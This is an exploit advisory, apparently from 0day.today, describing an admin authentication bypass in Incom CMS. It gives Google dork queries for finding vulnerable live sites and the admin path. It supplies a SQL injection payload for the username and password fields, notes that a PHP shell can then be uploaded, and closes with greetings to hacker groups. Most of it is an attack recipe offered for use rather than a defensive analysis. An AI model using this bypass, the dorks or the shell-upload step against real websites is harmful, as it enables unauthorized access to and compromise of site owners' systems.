Incom CMS SQL Injection Vulnerability

# Exploit Title: Incom Cms Admin Bypass Vulnerability
# Google Dork: intext:"incom cms" .  intext:"site by overron"  . intitle:"INCOM CMS"
# Date: 2014-12-29
# Exploit Author: Xodiak
# Vendor Homepage: http://facebook.com/xodiakbalckhat
# Software Link: http://incomcms.com
# Version: All Version
# Tested on: Kali , Windows
# CVE : N/A

Incom Cms Admin Bypass Vulnerability :

http://localhost/incomcms/_cm_admin/

Sometime You Get 403 Error Forbidden But Many Site Have This Vulnerability

After You Go In Admin Page Enter UserName & Password And Username And Password Is :

UserName : '=' 'or'
Password : '=' 'or'

And You Can Upload Your PHP Shell In Link Menu Without Any Authication

Special Tnx : Net-Hacker , Milad Hacking , MR.B3NY ,Seravo Black Hat , Mahdi.Hidden 
MR.JOKER , MahdiYar , Mr.Cracker , Behrooz_Ice , Virangar , Ang3l--Demon , And All 
Ashiyane Digital Securtiy Team , 2Ostad Members

#  0day.today [2018-03-19]  #